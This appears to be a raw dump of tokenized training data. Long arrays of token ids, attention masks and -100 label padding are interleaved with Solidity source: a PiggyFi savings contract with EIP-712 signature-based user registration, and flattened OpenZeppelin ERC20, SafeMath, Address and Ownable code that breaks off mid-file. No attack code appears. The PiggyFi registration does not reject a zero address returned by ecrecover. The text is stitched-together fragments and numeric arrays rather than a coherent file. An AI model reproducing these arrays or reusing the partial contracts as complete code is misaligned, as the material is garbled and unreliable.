0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
4232,
39,
27,
5340,
8924,
2277,
3245,
18,
6741,
1435,
6315,
1896,
3088,
1283,
273,
394,
2747,
3088,
1283,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "./IBEP20.sol";
import "./IVBEP20.sol";
/// @author [Email](mailto:[email protected]) [Telegram](t.me/@DreWhyte)
contract PiggyFi is Initializable, OwnableUpgradeable {
////////////////////////////////////////
// //
// STATE VARIABLES //
// //
////////////////////////////////////////
/// @dev EIP712 struct usage to verify signer
struct Auth {
string username;
string action;
}
string private constant EIP712_DOMAIN =
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)";
string private constant AUTH_TYPE = "Auth(string username,string action)";
bytes32 private constant EIP712_DOMAIN_TYPEHASH =
keccak256(abi.encodePacked(EIP712_DOMAIN));
bytes32 private constant AUTH_TYPEHASH =
keccak256(abi.encodePacked(AUTH_TYPE));
// solhint-disable-next-line
bytes32 private DOMAIN_SEPARATOR;
/// @dev Users profile
struct User {
address publicKey;
string username;
uint256 daiBalance;
uint256 underlyingBalance;
uint256 vTokenBalance;
bool isUser;
}
/// @dev Vendors profile
/// @dev username unique
struct Vendor {
address publicKey;
string username;
uint256 daiBalance;
int256[] openOrders;
}
struct Credential {
uint8 v;
bytes32 r;
bytes32 s;
}
/// @dev Users savings on PiggyFi
mapping(address => User) public users;
/// @dev Vendors providing liquidity
mapping(address => Vendor) public vendors;
/// @dev For username Lookup
mapping(string => bool) public usernames;
////////////////////////////////////////
// //
// EVENTS //
// //
////////////////////////////////////////
event SignatureExtracted(address indexed signer, string indexed action);
/// @dev Contructor
/// @param _name App name
// solhint-disable-next-line
function __PiggyFi_init(
string memory _name,
string memory _version,
uint256 _chainId
) public initializer {
DOMAIN_SEPARATOR = keccak256(
abi.encode(
EIP712_DOMAIN_TYPEHASH,
keccak256(abi.encodePacked(_name)), // string _name
keccak256(abi.encodePacked(_version)), // string _version
_chainId, // uint256 _chainId
address(this) // address _verifyingContract
)
);
}
////////////////////////////////////////
// //
// FUNCTIONS //
// //
////////////////////////////////////////
function hashAuth(Auth memory auth) private view returns (bytes32) {
return
keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
keccak256(
abi.encode(
AUTH_TYPEHASH,
keccak256(bytes(auth.username)),
keccak256(bytes(auth.action))
)
)
)
);
}
function getSigner(Auth memory _auth, Credential memory _credential)
public
returns (address signer)
{
signer = ecrecover(
hashAuth(_auth),
_credential.v,
_credential.r,
_credential.s
);
emit SignatureExtracted(signer, _auth.action);
return signer;
}
/// @dev Create a new user profile
/// @param _credential signature details
function newUser(User memory _user, Credential memory _credential)
public
returns (User memory profile)
{
require(usernames[_user.username] != true, "Username already taken");
Auth memory _auth = Auth({username: _user.username, action: "newUser"});
address signer = getSigner(_auth, _credential);
require(users[signer].isUser != true, "Account already exist");
usernames[_user.username] = true;
users[signer] = User({
publicKey: signer,
username: _user.username,
daiBalance: 0,
underlyingBalance: 0,
vTokenBalance: 0,
isUser: true
});
return users[signer];
}
}
| @dev For username Lookup | mapping(string => bool) public usernames;
| 12,790,263 | [
1,
1290,
2718,
8834,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2874,
12,
1080,
516,
1426,
13,
1071,
27675,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: GPL-3.0-only
pragma experimental ABIEncoderV2;
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
